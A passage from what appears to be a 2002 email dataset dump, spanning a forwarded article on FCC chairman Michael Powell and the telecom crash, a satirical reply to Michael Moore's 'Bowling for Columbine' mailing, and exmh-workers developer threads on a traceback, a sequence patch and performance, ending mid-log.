(though like > all important interest groups they work with both parties); they > immediately filed lawsuits, which wound up tying the hands of their new > competitors in the local phone market for more than three years. Through > rule-making, enforcement, and litigation, the F.C.C., then headed by > Reed Hundt, who was Gore's classmate at St. Albans, was supposed to keep > the arbocks in their cages, so that not only long-distance companies > like A.T. & T. and MCI WorldCom but also a whole category of new > companies, ""see-lecks"" (the pronounced version of CLECs, or competitive > local exchange carriers), could emerge. This entailed the regulatory > equivalent of hand-to-hand combat: the see-leck is supposed to have > access to the arbock's switching equipment, the arbock won't give the > seeleck a key to the room where it's kept, so the see-leck asks the > F.C.C. to rule that the arbock has to give it the key. > > Partly because Hundt assured the see-lecks and other new companies that > he would protect them, and partly because of the generally booming > condition of the economy then, investment capital flooded into the > see-leckscompanies with names like Winstar, Covad, and Teligentand > into other telecommunications companies. Even not obviously related > technology companies like Cisco Systems benefitted from the telecom > boom: demand for their products was supposed to come from the see-lecks > and other new players. There would be no conflict between the interests > of the new telecom companies and those of consumers; as one of Hundt's > former lieutenants told me, ""Reed used to joke that my job was to make > sure that all prices went down and all stocks went up."" > > > The years following the passage of the Telecom Act were the peak of the > boom. Wall Street had its blood up, and that meant not just more > startups but also more mergers of existing communications companies: > Time Warner and AOL decided to throw in together, and A.T. & T. and > Comcast, and so on. (Surely, WorldCom and the other telecom bad guys > believed that their self-dealing, stock-overselling, and creative > accounting would go unnoticed because the market was so undiscriminating.) > > By the time the outcome of the 2000 Presidential election had been > determined, the telecom crash was well under way. Nonetheless, the > chairmanship of the F.C.C. remained one of the best jobs, in terms of > influence and visibility, available to a career government regulator. > Three Republicans emerged as candidates: Powell, who was a commissioner; > Harold Furchtgott-Roth, the farthest-to-the-right commissioner; and > Patrick Wood, the head of the Texas Public Utility Commission and, as > such, a George W. Bush guy. In Texas, however, Wood had crossed the most > powerful person in the arbock camp, Edward Whitacre, the C.E.O. of > S.B.C. Communications, which is headquartered in San Antonio. This meant > that the arbocks didn't want Wood as head of the F.C.C., because he > might be too pro-see-leck. (Wood is now the head of the Federal Energy > Regulatory Commission.) Michael Powell had to signal the arbocks that he > wasn't as threatening as Wood, while also signalling the conservative > movement that he was only negligibly farther to the left than > Furchtgott-Roth. > > Powell did this deftly. For example, in December of 2000 he appeared > before a conservative group called the Progress & Freedom Foundation and > gave a very Michael Powell speechwhimsical, intellectual, and > free-associative (Biblical history, Joseph Schumpeter, Moore's Law)that > began by making fun of the idea that the F.C.C. should try to keep new > telecom companies alive. ""In the wake of the 1996 Act, the F.C.C. is > often cast as the Grinch who stole Christmas,"" Powell said. ""Like the > Whos, down in Who-ville, who feast on Who-pudding and rare Who-roast > beast, the communications industry was preparing to feast on the > deregulatory fruits it believed would inevitably sprout from the Act's > fertile soil. But this feast the F.C.C. Grinch did not like in the > least, so it is thought."" Thus Powell was indicating that if he became > chairman he didn't expect to administer first aid to the see-lecks as > part of the job. He was appointed to the chairmanship on the first day > of the Bush Administration. > > Twenty months into the Administration, nearly all the see-lecks are dead > or dying; nearly all long-distance companies, not just WorldCom, are in > serious trouble; cable companies have lost half their value; satellite > companies are staggering. The crash has had an automatically > concentrating effect, because as new companies die the existing > companies' market share increases, and, if the existing companies are in > good shape financially, they have the opportunity to pick up damaged > companies at bargain prices. During the Bush Administration, as the > financial carnage in communications has worsened, the communications > industry has moved in the direction of more concentration. If the Bells > wind up protecting their regional monopolies in local phone service, and > if they also merge, the country will be on its way to having a national > duopoly in local service: Verizon, in the East, and S.B.C., in the West. > And these companies could dominate long distance as well, because of the > poor health of the long-distance companies. > > The cable business also seems close to having two dominant national > companies, AOL Time Warner and Comcast. Unlike the phone companies, they > don't have to share their wiring with other companies and so can more > fully control what material they allow to enter people's homes. As part > of the complicated bargaining with interest groups that led to the 1996 > Telecom Act, the limits on concentration in the radio industry were > significantly loosened, and in the past six years the number of > radio-station owners in the United States has been cut by twenty-five > per cent; today, a large portion of local and national radio news > programming is supplied by a single company, Westwood One, a subsidiary > of Viacom. > > In this situation, many Democrats and liberals think, the F.C.C. should > be hyperactivethe superhero of government regulation, springing to the > rescue of both consumers and the communications industry. It should try > to breathe life into the see-lecks and other new companies. It should > disallow mergers, maintain ownership limits, and otherwise restrain the > forces of concentration. It should use the government's money and muscle > to get new technologyespecially fast Internet connectionsinto the > homes of people who can't afford it at current market prices. (An > analogy that a lot of people in F.C.C. World make is between telecom and > the Middle East: the Clinton people blame the bloodshed on the Bush > people, because they disengaged when they came into office, and the Bush > people blame it on the Clinton people, because they raised too many > expectations and stirred too many passions.) > > But Michael Powell's F.C.C. has not been hyperactive. Powell has been > conducting internal policy reviews and reforming the management of the > F.C.C. and waiting for the federal courts and the Congress to send him > signals. (In mid-September, Powell finally initiated a formal review of > the F.C.C.'s limits on media concentration.) This doesn't mean he has > been inactive; rather, he has been active in a way that further > infuriates his criticsin a manner that smoothly blends the genial and > the provocative, he muses about whether the fundamental premises of > F.C.C. World really make sense, while giving the impression that he's > having the time of his life as chairman. At his first press conference, > when he was asked what he was going to do about the ""digital > divide""that is, economic inequality in access to the Internethe said, > ""You know, I think there is a Mercedes divide. I'd like to have one and > I can't afford one."" At the National Cable & Telecommunications > Association convention, in Chicago, Powell, following a troupe of > tumblers to the stage, interrupted his walk to the podium to perform a > somersault. > > > Not long ago, I went to see Powell in his office at the F.C.C. Until > 1998, when the commission moved to a new building in Southwest > Washington, near the city's open-air fish market, F.C.C. World was at > the western edge of downtown, where everybody would encounter everybody > else at a few familiar restaurants and bars. Today, the F.C.C. building > looks like the office of a mortgage company in a suburban office park. > Even the chairman's suite, though large, is beige, carpeted, and > fluorescent. Powell is a bulky man who wears gold-rimmed glasses and > walks with a pronounced limp, the result of injuries he suffered in a > jeep accident in Germany, in 1987, when he was an Army officer. Because > of the accident, he left the Army and went to law school, where he > became entranced with conservative ideas about regulation, particularly > the idea that the government, rather than trying to correct the flaws of > the market before the fact""prophylactically,"" as he likes to sayshould > wait till the flaws manifest themselves and then use antitrust > litigation to fix them. He worked briefly at a corporate law firm, and > then became a protg of Joel Klein, the head of the antitrust division > of the Clinton Justice Department and the man who led the government's > legal case against Microsoft. (He was recently appointed chancellor of > the New York public-school system.) It testifies to Powell's political > skill that he is probably the only high official in the Bush > Administration who not only served in the Clinton Administration but > also maintains close ties to Bush's nemesis Senator John McCain, of > Arizona. One of the things about Powell that annoy people is his > enduring love of law school""It's sort of like a law-school study > session over there,"" one Democratic former commissioner said. As if to > confirm the charge, Powell, when I arrived, introduced me to four law > students, summer interns at the commission, whom he'd invited to sit in. > > I began by asking Powell whether he agreed with the founding assumptions > of the F.C.C. For example, could private companies have apportioned the > airwaves among themselves without the government being involved? > > ""I think we'll never know,"" Powell said. ""I don't think it's an > automatically bad idea, the way some people will argue. Land is probably > the best analogue. We don't seize all the land in the United States and > say, 'The government will issue licenses to use land.' If my neighbor > puts a fence one foot onto my property line, there's a whole body of law > about what I can do about that, including whether I can tear it down. If > a wireless company was interfering with another wireless company, it's a > similar proposition. There are scholars who argueindeed, the famous > Ronald Coase treatise that won the Nobel Prize was about thisthat > spectrum policy is lunacy. The market could work this out, in the kinds > of ways that we're accustomed to."" > > Talking to Powell was fun. Unlike most high government officials, he > doesn't seem to be invested in appearing dignified or commanding. He > slumps in his chair and fiddles with his tie and riffs. He speaks in > ironic air quotes. He's like your libertarian friend in college who > enjoyed staying up all night asking impertinent rhetorical questions > about aspects of life that everybody else takes for granted but that he > sees as sentimental or illogical. After a while, I asked him whether he > thought his predecessors' excitement about the 1996 Telecommunications > Act had been excessive. > > ""I would start with a caveat,"" Powell said. ""Look, I can't fault those > judgments in and of themselves, given the time and what people thought. > They were not the only ones who were hysterical about the opportunities. > But, frankly, I've always been a little bit critical. First of all, > anybody who works with the act knows that it doesn't come anywhere close > to matching the hyperbole that was associated with it, by the President > on down, about the kinds of things it's going to open up. I mean, I > don't know what provisions are the information-superhighway provisions, > or what provisions are so digitally oriented, or some of the things that > were a big part of the theatre of its introduction. When one starts > reading the details, one searches, often in vain, for these provisions. > But, nonetheless, there was a rising dot-com excitement, and an Internet > excitement, and people thought this was historic legislation, and it > certainly was. > > ""But. We were sucking helium out of balloons, with the kinds of > expectations that were being bandied around, and this is before the > economy or the market even gets in trouble. It was a dramatically > exaggerated expectationby the leadership of the commission, by > politicians, by the market itself, by companies themselves. It was a > gold rush, and led to some very detrimental business decisions, ones > that government encouraged by its policies, frankly. Everybody wanted to > see numbers go up on the board."" > > Powell began imitating an imagined true believer in the Telecom Act. "" > 'I want to see ten competitors. Twenty competitors! I want to see > thirty-per-cent market share. Fifty-per-cent market share! I want the > Bells to bleed! Then we'll know we've succeeded.' "" Now Powell returned > to being Powell. ""I think that expectation was astonishingly > unrealistic, in the short term. They wanted to see it while they're > there. We were starting to get drunk on the juice we were drinking. And > the market was getting drunk on the juice we were drinking. There's no > question, we went too soon too fast. Too many companies took on too much > debt too fast before the market really had a product, or a business model."" > > How could the Telecom Act have been handled better? ""We could have > chosen policies that were less hellbent on a single objective, and were > slightly more balanced and put more economic discipline in the system,"" > Powell said. ""Money chased what seemed like government-promised > opportunity. The problem with that is there's a morning after, and we're > in it. And the problem is there is no short fix for this problem. This > debt is going to take years to bring down to a realistic level. In some > ways, for short-term gain, we paid a price in long-term stability."" > > Powell went on to say that it might have turned out differently if there > had been a more ""reasonable"" level of investment. ""No, we wouldn't have > every home in America with competitive choice yetbut we don't anyway. I > don't think it's the remonopolization of telephone service. I don't buy > that. The Bells will prosper, but did anybody believe they wouldn't? The > part of the story that didn't materialize was that people thought so > would MCI WorldCom and Sprint."" > > Other local phone companies, he added, hadn't materialized as viable > businesses, either, and they never might. ""Everybody's always saying, > 'The regulators did this and this and this.' But, candidly, the story's > quite the opposite. I think the regulators bent over backward for six > years to give them a chance. Conditions don't get that good except once > every thirty years, and it didn't happen. So, whatever the reason, we're > looking at a WorldCom that's teetering. We're looking at a long-distance > business that has had a rapid decline in its revenue base. A.T. & T. is > breaking itself up. Sprint has struggled."" > > Could the F.C.C. have done anything to make the long-distance companies > stronger? ""At the F.C.C.? I think I'll just be blunt. My political > answer? Yes, there's all kinds of things we can do at the margin to try > to help. But I can't find thirty billion dollars for WorldCom somewhere. > I can't mitigate the impacts of an accounting scandal and an S.E.C. > investigation. Were I king, it would be wonderful, but I don't have > those kinds of levers. I don't know whether anybody does. At some point, > companies are expected to run themselves in a way that keeps them from > dying."" Powell couldn't have made it much clearer that he doesn't think > it's his responsibility to do anything about the telecom crash. He has > demonstrated his sure political touch by making accommodationist > gesturesin August, for example, five months after disbanding the > F.C.C.'s Accounting Safeguards Division, Powell announced that he was > appointing a committee to study accounting standards in the > communications industry. But that shows that Powell is better at riding > out the storm than, say, Harvey Pitt, his counterpart at the Securities > and Exchange Commission, and does not mean that he plans to try to shore > up the telecom industry. > > I asked Powell if it would bother him if, for most people, only one > company provided cable television and only one provided local phone > service. ""Yes,"" he said. ""It concerns us that there's one of each of > those things, but let's not diminish the importance of there being one > of each of those things. That still is a nice suite of communications > capabilities, even if they aren't direct analogues of each other."" > Anyway, Powell said, before long the phone companies will be able to > provide video service over their lines, and the cable companies will > provide data service over their lines, so there will be more choice. > ""So, yeah, we have this anxiety: we have one of everything. The question > is, Does it stay that way?"" > > The concentration of ownership and the concentrated control of > information did not appear to trouble Powell, either. He said that > people confuse bigness, which brings many benefits, with concentration, > which distorts markets. ""If this were just economics, it's easy. If you > were to say to me, 'Mike, just worry about economic concentration,' we > know how to do thatthe econometrics of antitrust. I can tell you when a > market's too concentrated and prices are going to rise. The problem is > other dimensions, like political, ideological, sometimes emotional. Take > the question of, if everybody's controlling what you see, the assumption > there is that somehow there'll be this viewpoint, a monolithic > viewpoint, pushed on you by your media and you won't get diversity. I > think that's a possibility. I don't think it's nearly the possibility > that's ascribed to it sometimes."" > > Powell explained, ""Sometimes when we see very pointed political or > parochial programming, it gets attacked as unfair. I see some of the > same people who claim they want diversity go crazy when Rush Limbaugh > exists. They love diversity, but somehow we should run Howard Stern off > the planet. If it has a point of view, then it becomes accused of bias, > and then we have policies like""here his tone went from ironic to > sarcastic""the fairness doctrine, which seems to me like the antithesis > of what I thought those people cared about. So when somebody is pointed > and opinionated, we do all this stuff in the name of journalistic > fairness and integrity or whatever, to make them balance it out."" > > > F.C.C. World abounds in theories about Michael Powell. One is that he > can't make up his mind about how to address the crisis in the industries > he regulatesso he talks (and talks and talks) flamboyantly about the > market, in order to buy himself time. Another is that he's carrying > water for the arbocks and the big cable companies. Another is that he is > planning to run for the Senate from Virginia (or to be appointed > Attorney General in a second Bush term), and doesn't want to do anything > at the F.C.C. that would diminish his chances. Another is that he's > waiting to move until there is more consensus on some course of action, > so that he doesn't wind up going first and getting caught in the > crossfire between the arbocks and the cable companies and the television > networks. (In F.C.C. World, this is known as the Powell Doctrine of > Telecom, after Colin Powell's idea that the United States should never > commit itself militarily without a clear objective, overwhelming force, > and an exit strategy.) And another is that he actually believes what he > says, and thinks the telecommunications crash is natural, healthy, and > irreversible, and more concentration would be just fine. > > ""This is why elections matter,"" Reed Hundt, who isn't happy about what > has become of his Telecom Act, told me. It's true that the F.C.C.much > more than, say, the war in Afghanistanis a case in which a Gore > Administration would be acting quite differently from the Bush > Administration. Consumers might have noticed the difference by now, but > there's no question whether communications companies have noticed. The > arbocks are doing better against their internal rivals than they would > have done if Gore had won. Next election, they'll help the party that > helped them. If the Republicans win, policy will tilt further in the > arbocks' favor. If they lose, perhaps the arbocks' rivalsthe > long-distance companies and the telecommunications upstartswith their > friends now in power, will stage a comeback. America's present is not > unrecognizably different from America's past. > > -- Gregory Alan Bolcer, CTO | work: +1.949.833.2800 gbolcer at endeavors.com | http://endeavors.com Endeavors Technology, Inc.| cell: +1.714.928.5476",0,1 Ian Andrew Bell ,fork@spamassassin.taint.org,"Wed, 9 Oct 2002 23:18:20 -0700","Fwd: [POLITICOS] Re: ""Bowling for Columbine,"" Opens This Friday","Begin forwarded message: > From: Ian Andrew Bell > Date: Wed Oct 9, 2002 11:16:09 PM US/Pacific > To: mike@michaelmoore.com > Cc: foib@ianbell.com > Subject: [POLITICOS] Re: ""Bowling for Columbine,"" Opens This Friday > > Michael, > > Why is it that people who consider voting in an election an > inconvenience would go to see a movie to show support for its message? > Don't get me wrong -- I think this is the case. People will go to > see your movie as much to be entertained and informed as they will to > express their malice and discontent towards not only the present > regime in America, but also the corrupt, empty, shallow pantomime > which cast them into power. > > In reality, today the voting that takes place via the act of > consumption far outweighs the impact caused by people going to a booth > and dimpling the appropriate chad, or some other such convoluted act > of free democratic expression. > > Why? Because in America, they believe in dollars. Dollars don't lie. > In practise, they are the last frontier of truth in America, > universally accepted as expressions of fear, desire, passion, and > need. Compared to the swing of the almighty buck, and Jeb Bush knows > this, a hanging chad has only the nethermost meaning. > > Given that fact, I modestly propose an entirely new, though wholly > logical, extension to the current democratic system in place in > America: > > I propose we augment, and effectively replace, the electoral system > with a political stock market. We should accept that Politicians are > entrepreneurs just like any other businessperson in America, and > embrace this fact in building an economic system which truly reflects > their intent. A politician should issue a constant number of shares > dependent upon his tenure in government. Those shares should be > traded on an open exchange, say the G.R.E.E.D. (short, of course, for > the ""Global Realists' Electoral Exchange -- Democratic""). Politicians > we believe in will see their stocks rise higher as faith in their > ability to maintain office grows. As the truth about their embezzling > campaign funds for weekend trips to Maui with their interns is > revealed, of course, their fortunes will fall. > > This represents an opportunity for the market forces -- those same > forces which you intend to harness to express your own personal > protest -- to voice their opinion on the quality of America's > governance during the intervening four years between elections. > Elections themselves will in effect become meaningless, as they are > now, since their outcome will be influenced by the stock price of each > and every congressman, senator, and presidential candidate. > > Just think of the coverage that could be given on MSNBC! ""Strom > Thurman (STROM: news - quotes) was down 15% today on fears that his > latest heart operation will render him unable to attend Senate Armed > Services committee meetings until November.."" This would provide > rejuvenating content to the econo-political news sector, which has > found post-economic-bubble coverage to be both tiresome and > deoressing. The establishment of this new stock exchange would of > course create jobs for newly unemployed (and governmentally retrained) > IT systems engineers who could, after passing the electoral securities > exam, become floor traders. > > This would also allow for a convenient and very public method by which > candidates could raise capital in the public markets to support their > multi-billion-dollar campaigns. The requirement for the support of > legions of spin doctors, permanent campaign managers, and investor > relations personnel would also create jobs -- perhaps even a new > practice for Ernst & Young, Arthur Anderson, et al. Insider trading > scandals and misleading revenue declarations would of course catch > Martha Stewart as an unwitting beneficiary, thus spreading her > influence to politics. > > Dividends, if there are any on record, at the close of a politician's > career could be paid to current shareholders based on the holdings. > Pensions funds could provide the institutional investment support > necessary to underpin even the biggest dogs among the Beltway set. > Union funds, brokerages, and even pump-and-dump houses could benefit > from meteoric rises in conservative candidates running in the > Southeast, and the Bush Governmet would be allowed to place Social > Security bets where they really mattered. investors who lose their > retirement, life savings, and support could rest assured that they > were indeed robbed by crooks rather than poor investors. > > Although there's no way to protect any of these for Worldcom-like > crashes, ambitious, inspired, District Attorneys could file criminal > suits against Candidates and Campaign Managers who underperform > expectations, thus assuring investors that their logic was not faulty > -- instead, they were merely defrauded by crooks and thieves. > > On the whole, I believe the system could work. I could certainly work > as well as our beloved securities trading industry and, given the > American electoral system's success at effectively expressing the will > of the people, it certainly couldn't do any worse... > > In the meantime, Mike, I think I'll go see your movie and try to > depose the President. > > -Ian. > > > > On Wednesday, October 9, 2002, at 03:53 PM, Michael Moore's Mailing > List wrote: > >> October 9, 2002 >> >> My Film, ""Bowling for Columbine,"" Opens This Friday >> >> Dear friends, fans, and fellow evildoers: >> >> I am very happy and excited to tell you that this Friday, October 11, >> my >> new >> film, ""Bowling for Columbine,"" will open in New York and Los Angeles. >> >> It is, I promise, the last thing the Bushies want projected on the >> movie >> screens across America this week. The film is, first and foremost, a >> devastating indictment of the violence that is done in our name for >> profit >> and power -- and no one, in all the advance screenings I have >> attended, has >> left the theatre with anything short of rage. I truly believe this >> film has >> the potential to rock the nation and get people energized to do >> something. >> >> This is not good news for Junior and Company. Not when they are >> trying to >> drag us into another war. Not when a crazed sniper is exercising his >> constitutional right to own a high-powered rifle. Not when John >> Ashcroft is >> still prohibiting the FBI from looking through the gun background >> check >> files to see if any of the 19 hijackers or their associates purchased >> any >> weapons prior to 9/11 -- because THAT, we are told, would ""violate"" >> these >> terrorists' sacred Second Amendment rights! >> >> Yes, I believe this movie can create a lot of havoc -- but I will >> need ALL >> of you to help me do this. Are you game? >> >> Last February 5th, I wrote to tell you about a book I had written and >> how >> the publisher had decided to dump it because they were afraid to >> publish >> anything critical of Bush after 9/11. I appealed to you to save >> ""Stupid >> White Men"" from the shredder and to go out and buy it. I promised you >> would >> not regret it, and that the book would not only be a great read but an >> important organizing tool in gumming up the plans of George W. Bush. >> >> Within 24 hours, the book went to #1 on the Amazon best seller list. >> By the >> fifth day, the book was already into its 9th printing. The publisher >> was >> torn between its desire to kill the book or make a wad of money. >> Greed won >> out, and this Sunday the book enters its 31st week on the New York >> Times >> best seller list -- and its 32nd printing. This is all because of >> you, my >> crazy and loyal friends. You made this happen, against all the odds. >> >> Now I would like to ask you again to help me with my latest work, >> ""Bowling >> for Columbine."" It's a movie that many critics have already called my >> best >> film to date. They may be right. It is certainly the most provocative >> thing >> I have ever done. I have spent three years on it and, I have to say, >> it >> cuts >> deeper, harder and funnier that anything I have given you so far. >> >> The movie opens this Friday in New York and Los Angeles, and then in >> 8 more >> cities next week. How it does in these first ten cities will determine >> whether or not the rest of the country gets to see it. That is the >> nutty >> way >> our films are released. If it doesn't have a big opening weekend, you >> can >> kiss the film good-bye. Therefore, this weekend, this film must be >> seen by >> millions of Americans. Can you help me make that happen? >> >> ""Bowling for Columbine"" is not a film simply about guns or school >> shootings. >> That is only the starting point for my 2-hour journey into the dark >> soul of >> a country that is both victim and master of an enormous amount of >> violence, >> both at home and around the world. With this movie I have broadened my >> canvas to paint a portrait of our nation at the beginning of the 21st >> century, a nation that seems hell-bent on killing first and asking >> questions >> later. It is a movie about the state sponsored acts of violence and >> terrorism against our own poor, and how we have created a culture of >> fear >> that is based on the racial dilemma we continue to ignore. And it's a >> devastating comedy. >> >> This film is going to upset some pretty big apple carts. No film has >> EVER >> said the things I am saying in ""Bowling for Columbine."" I expect to be >> attacked. I expect certain theatres will not show it for fear of >> retribution. I expect that this movie will be a bitter pill for many >> to >> swallow. >> >> This is why I need your help. Movies live or die based on what >> happens at >> the box office the first weekend of its release. I need you, if you >> live in >> the New York or L.A. area, to go see ""Bowling for Columbine"" this >> Friday >> and >> Saturday -- and take as many family members and friends with you as >> possible. I guarantee you will not be disappointed -- and you may >> just see >> one of the best films of the year. >> >> Monday night in Times Square, ""Bowling for Columbine"" had its >> premiere. The >> crowd was amazing, as it was this past Saturday night at the Chicago >> Film >> Festival. The audience kept laughing or hooting or applauding so loud >> throughout the film that it was hard to hear the next line. >> >> The hate mail, the threats, the promises of retribution have already >> started >> to roll in to the distributor of this movie, United Artists. They are >> not >> backing down. But how long will this last? I need all of you in the >> New >> York >> tri-state and southern California areas to go see ""Bowling for >> Columbine"" >> THIS weekend -- the rest of you can see it in a couple of weeks when >> it >> comes to your town. A strong opening not only means that the rest of >> America >> will see this film, it means that a good number of people who see it >> are >> going to leave the film angry enough to get active and get involved. >> If it >> does poorly, I will have a difficult time finding the funding for the >> movie >> I want to make next -- a film about 9/11 and how Bush is using that >> tragic >> day as a cover for his right-wing agenda. >> >> Don't let that happen. Don't let the NRA have one more success by >> stopping >> the wider distribution of this movie. And, together, let us not remain >> silent in our opposition to Bush's phony war against Iraq. >> >> If you live in New York, you can see it at the Lincoln Plaza, the >> Sunshine >> and the Loews 19th St. In L.A., you can catch it at the Sunset 5, the >> Westwood Regent, Laemmle Sunset, Laemmle Towncenter (Encino), Landmark >> Rialto (Pasadena), and Regal University (Irvine). Also, please >> forward this >> to your other friends and tell them to go see ""Bowling for Columbine"" >> this >> weekend. >> >> And finally, don't miss our new website www.bowlingforcolumbine.com >> >> Thank you for your help with this. I feel so honored and privileged >> to have >> so many people interested in my work. Last January I was getting >> 70,000 >> hits >> a month on my website. Last month, I got 17 million hits. This alone >> speaks >> volumes about the vast majority all of us belong to who are sick and >> tired >> of what is going on and are longing for an alternative source of >> information. >> >> I hope that you enjoy ""Bowling for Columbine."" >> >> Thank you again... >> >> Yours, >> >> Michael Moore >> >> --- >> >> If you wish to be be unsubscribed from this mailing list, please >> click the >> link below and follow the instructions. >> >> http://www.michaelmoore.com/mailing/unsubscribe.php >",0,1 Chris Garrigues ,Robert Elz ,"Mon, 26 Aug 2002 09:27:56 -0500",Re: Anolther sequence related traceback,"--==_Exmh_-695163552P Content-Type: text/plain; charset=us-ascii > From: Robert Elz > Date: Mon, 26 Aug 2002 14:00:18 +0700 > > Date: Fri, 23 Aug 2002 10:58:20 -0500 > From: Chris Garrigues > Message-ID: <1030118301.3993.TMDA@deepeddy.vircio.com> > > | Interesting...I don't think this was my bug. > | It appears that Msg_Change was asked to change to message ""-"". > > Something like that is quite possible, but perviously typing nonsense > in didn't cause tracebacks, and now it does, and the traceback came > from the sequence code... > > Perviously this would have just caused red messages in the status > line complaining about my lousy typing. That's probably what it > should keep on doing (the ""red"" part isn't important obviously..) Tell me what keystroke made it happen so I can reproduce it and I'll see what I can do about it (or if I can't, I'll hand it off to Brent). Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-695163552P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9ajrsK9b4h5R0IUIRAmd+AJ9WU9Wzf7ey0YYYTpYGcyJfpZuUFwCfX4CN KE8fxn3ZKKmtJCWgS2fXK/w= =enN3 -----END PGP SIGNATURE----- --==_Exmh_-695163552P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Robert Elz ,"Mon, 26 Aug 2002 09:29:23 -0500",Re: New Sequences Window,"--==_Exmh_-694865624P Content-Type: text/plain; charset=us-ascii > From: Robert Elz > Date: Sat, 24 Aug 2002 18:56:05 +0700 > > Date: Thu, 22 Aug 2002 10:04:06 -0500 > From: Chris Garrigues > Message-ID: <1030028647.6462.TMDA@deepeddy.vircio.com> > > | hmmm, I assume you're going to report this to the nmh folks? > > Yes, I will, sometime, after I look at the nmh sources and see what > they have managed to break, and why. > > But we really want exmh to operate with all the versions of nmh that > exist, don't we? The patch to have exmh do the right thing, whether this > bug exists, or not, is trivial, so I'd suggest including it. > > Patch follows ... > > I have no idea why the sequences were being added after the message list > before, not that it should make any difference to nmh (or MH). But since > I stopped doing that, the variable ""msgs"" isn't really needed any more, > rather than assigning $pick(msgs) to msgs, and then using $msgs the code > could just use $pick(msgs) where $msgs is now used. This is just a > frill though, so I didn't change that. I'll fix this in CVS this afternoon. Thanks, Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-694865624P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9ajtDK9b4h5R0IUIRAlFjAKCJRCAKR2dkmh5oqHfkagDddfmrBwCdH6vv FCRlUSeu14edQaoD4yCWoDQ= =+lzS -----END PGP SIGNATURE----- --==_Exmh_-694865624P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Anders Eriksson ,exmh-workers@spamassassin.taint.org,"Mon, 26 Aug 2002 20:00:36 +0200",Exmh && speed,"lately I've got the feeling that exmh is getting slower and slower. I just decided to check that vs. reality, and yes, speed has left the scene somewhere between the release of 2.5 and now. I checked on a number of small messages in a big folder (~10000 msgs). The delay of the Next button has increased considerably: 2.5-release: 350-450 msec latest cvs: 1000-12000 msec Frankly I think this is getting close to non-acceptable since the user settings hasn't changed. Anybody have any ideas where performance disappeared? /Anders _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Anders Eriksson ,"Mon, 26 Aug 2002 13:17:37 -0500",Re: Exmh && speed,"--==_Exmh_1521948024P Content-Type: text/plain; charset=us-ascii > From: Anders Eriksson > Date: Mon, 26 Aug 2002 20:00:36 +0200 > > > lately I've got the feeling that exmh is getting slower and slower. I > just decided to check that vs. reality, and yes, speed has left the > scene somewhere between the release of 2.5 and now. > > I checked on a number of small messages in a big folder (~10000 > msgs). The delay of the Next button has increased considerably: > > 2.5-release: 350-450 msec > latest cvs: 1000-12000 msec > > Frankly I think this is getting close to non-acceptable since the > user settings hasn't changed. > > Anybody have any ideas where performance disappeared? Most likely in the added overhead of managing more sequences. I'm sure it can be tuned a bunch, but as I'm leaving for a vacation on Friday, and have plenty of ""real work"" to do, I won't be able to do much until I get back. I *will* look at all this when I get back, but if you want to check into what's slow and fix things while I'm gone, my feelings won't be hurt. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_1521948024P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9anDAK9b4h5R0IUIRAi7qAJsEAXgadxpxYR5yEcwl9VcuhonraACcDI87 yyhj/sCflWdxrSbT4ZsT9yU= =AcMk -----END PGP SIGNATURE----- --==_Exmh_1521948024P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Valdis.Kletnieks@vt.edu,Anders Eriksson ,"Mon, 26 Aug 2002 14:22:46 -0400",Re: Exmh && speed,"--==_Exmh_-1913987426P Content-Type: text/plain; charset=us-ascii On Mon, 26 Aug 2002 20:00:36 +0200, Anders Eriksson said: > I checked on a number of small messages in a big folder (~10000 > msgs). The delay of the Next button has increased considerably: > > 2.5-release: 350-450 msec > latest cvs: 1000-12000 msec I'm not seeing a hit on 'next'. A quick ""just pound on 'next' and watch the wall clock"" test shows me able to go through 20 messages in under 5 seconds, so it's well under 250ms per switch, but I'm seeing a really piggy CPU spike (100% for a few seconds) in the 'flist' code. Of course, it seems to be related to number-of-folders: [~] wc Mail/.folders 131 131 1122 Mail/.folders It's particularly annoying because things just hose-and-hang for 10 seconds, so when it hits, you have a long latency before what you're doing actually happens... 14:08:54 Background_DoPeriodic flist 14:08:54 Flist_FindSeqs reset=0 14:08:54 FlistFindStart reset=0 active=0 14:08:56 Reading /home/valdis/Mail/exmh/.mh_sequences 14:08:56 exmh has 1 msgs in unseen 14:08:56 1 unseen message in 1 folder 14:08:56 {In FlagInner up iconup labelup} 14:08:56 {Setting flag glyph to iconup} 14:08:56 {Set flag state to up} 14:08:58 Reading /home/valdis/Mail/list-spams/.mh_sequences 14:08:58 list-spams has 1 msgs in unseen 14:08:58 2 unseen messages in 2 folders 14:08:58 {In FlagInner up iconup labelup} 14:09:02 Reading /home/valdis/Mail/trash/.mh_sequences 14:09:02 trash has 2 msgs in pseq 14:09:03 /home/valdis/Mail/xemacs/7508 not found 14:09:03 /home/valdis/Mail/xemacs/7507 not found 14:09:03 /home/valdis/Mail/xemacs/7508 not found 14:09:03 /home/valdis/Mail/xemacs/7507 not found 14:09:03 {pseq: 7506-7508 => 7506} 14:09:03 Writing 